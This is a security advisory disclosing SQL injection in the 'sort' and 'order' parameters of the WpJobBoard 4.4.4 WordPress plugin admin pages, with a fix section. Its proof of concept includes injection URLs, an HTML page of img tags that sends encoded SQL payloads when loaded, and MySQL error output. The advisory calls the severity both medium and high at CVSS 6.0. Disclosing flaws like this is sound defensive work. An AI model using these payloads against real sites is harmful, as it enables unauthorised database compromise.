WpJobBoard v4.4.4 - Multiple SQL Injection Vulnerabilities

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
WpJobBoard v4.4.4 - Multiple SQL Injection Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1940


Release Date:
=============
2018-01-06


Vulnerability Laboratory ID (VL-ID):
====================================
1940


Common Vulnerability Scoring System:
====================================
6


Vulnerability Class:
====================
SQL Injection


Product & Service Introduction:
===============================
WPJobBoard is bundled with 15+ shortcodes, allowing you to easily build completely unique job board and insert 
additional 
features only when you need it and only where you see fit. WPJobBoard doesn’t limit your website to just a job board. 
Along with WPJB, you can still maintain a blog and take advantage of all the other features WordPress and its plugins 
and themes offer. You can keep your community and your blog, but you can add a professional job board.

(Copy of the Vendor Homepage: https://wpjobboard.net/features/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple sql-injection vulnerabilities in the WpJobBoard 
v4.4.4 wordpress web-application plugin.


Vulnerability Disclosure Timeline:
==================================
2018-01-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
WpJobBoard
Product: WPJobBoard - Wordpress Plugin (Web-Application) 4.4.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple remote sql-injection web vulnerabilities has been discovered in the WpJobBoard v4.4.4 wordpress 
web-application plugin.
The vulnerability allows remote attackers to inject own malicious sql commands to compromise the database management 
system.

The sql-injection web vulnerabilities are located in the `order` and `sort` parameters of the `wpjb-job` and 
`wpjb-alerts` module 
GET method requests. Remote attackers are able to execute sql commands by performing client-side GET method requests 
with malicious 
statements via admin.php file. The request method to inject/execute is GET and the attack vector of the issue is 
located on the 
application-side in the insecure request statement. The issue can be exploited by privileged wp user accounts without 
user interaction.

The security risk of the sql web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) 
count of 6.0.
Exploitation of the remote sql injection vulnerabilities requires no user interaction and a privileged web-application 
user account.
Successful exploitation of the remote sql injection results in database management system, web-server and 
web-application compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] wpjb-job
[+] wpjb-alerts

Vulnerable File(s):
[+] admin.php

Vulnerable Parameter(s):
[+] sort
[+] order


Proof of Concept (PoC):
=======================
The sql-injection vulnerability can be exploited by remote attackers without user interaction and with privileged 
web-application user account.
For security appnstration or to reproduce the security web vulnerability follow the provided information and steps 
below to continue.


PoC: Exploitation
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=xml&sort=[SQL-INJECTION 
VULNERABILITY!]&order=asc
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=[SQL-INJECTION
 VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=[SQL-INJECTION
 VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=[SQL-INJECTION
 VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=[SQL-INJECTION 
VULNERABILITY!]&order=asc


PoC: Exploit Code
<html>
<head><body>
<title>WPJOBBOARD SQL INJECTION PoC</title>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index
&filter=xml&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc>
</body></head>
</html>


--- PoC Error Exception Logs ---
Fatal error: Uncaught exception
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right 
syntax to use near ''' at line 1
-
Fatal error: Uncaught exception 'wp_wpjb_job' with message 
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right 
syntax to use near ''' at line 1


Reference(s):
https://wp-jobboard.localhost:8080/
https://wp-jobboard.localhost:8080/wp-admin/
https://wp-jobboard.localhost:8080/wp-admin/admin.php
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the vulnerable sort and order parameters in the web-applicatoon 
GET method request.
Disallow the usage of special chars to prevent malicious inputs and use a prepared statement to resolve the 
sql-injection vulnerability.
Disallow to display errors by default configuration and include an exception-handling to cover further malicious 
attacks.


Note: The sql-injections has been prevented in the version 4.9.1 up to the latest released version 5.1 of the 
wpjobboard wordpress web-application plugin.


Security Risk:
==============
The security risk of the remote sql-injection web vulnerabilities in the wpjobboard web-application is estimated as 
high (CVSS 6.0).


Credits & Authors:
==================
Vulnerability-Lab [research () vulnerability-lab com] - 
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


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